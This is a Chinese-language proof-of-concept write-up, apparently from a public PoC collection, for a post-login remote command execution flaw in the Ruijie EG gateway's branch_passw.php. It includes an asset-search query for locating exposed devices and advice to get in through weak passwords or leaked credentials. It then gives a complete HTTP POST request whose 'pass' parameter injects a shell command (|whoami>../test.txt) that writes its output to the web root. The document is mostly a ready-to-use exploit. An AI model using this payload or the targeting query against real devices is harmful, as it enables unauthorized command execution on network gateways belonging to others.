POC00/锐捷EG易网关branch_passw.php远程代码执行漏洞.md

62 lines
2.0 KiB
Markdown
Raw Permalink Normal View History

2025-04-02 22:36:18 +08:00
# 锐捷EG易网关branch_passw.php远程代码执行漏洞
**<font style="color:rgb(38, 38, 38);">一、漏洞简介</font>**
<font style="color:rgb(38, 38, 38);">锐捷 EG易网关cli存在后台远程命令执行漏洞。</font>
<font style="color:rgb(38, 38, 38);"> </font>**<font style="color:rgb(38, 38, 38);">二、影响版本</font>**
`锐捷EG易网关`
**<font style="color:rgb(38, 38, 38);">三、资产测绘</font>**
`app="Ruijie-EG易网关"`
<font style="color:rgb(38, 38, 38);">●登录页面</font>
![1710773302248-caa9069a-265b-44c3-8a1c-ee627b562553.png](./img/5-olKjEqA8Fof2za/1710773302248-caa9069a-265b-44c3-8a1c-ee627b562553-027421.webp)
**<font style="color:rgb(38, 38, 38);">四、漏洞复现</font>**
1、通过弱口令或账号密码泄露漏洞登录后台获取cookie
![1711298713325-517a2298-d16c-4786-a1f9-3e40836a4f8c.png](./img/5-olKjEqA8Fof2za/1711298713325-517a2298-d16c-4786-a1f9-3e40836a4f8c-244322.webp)
2、branch_passw.php执行whoami命令写入web根目录test.txt文件再访问test.txt文件得到回显。
```plain
POST /itbox_pi/branch_passw.php?a=set HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: LOCAL_LANG_COOKIE=zh; RUIJIEID=e2iuc40kc25v8bosaf04ee7273; user=admin; helpKey=home_sys
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
pass=|whoami>../test.txt
```
3、写入文件地址
```plain
/test.txt
```
![1711947576518-8aa155d7-86d7-4a78-9ecf-201b653a1f2c.png](./img/5-olKjEqA8Fof2za/1711947576518-8aa155d7-86d7-4a78-9ecf-201b653a1f2c-873932.png)
> 更新: 2024-06-24 11:42:25
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/gcrohorfhsnzh1ix>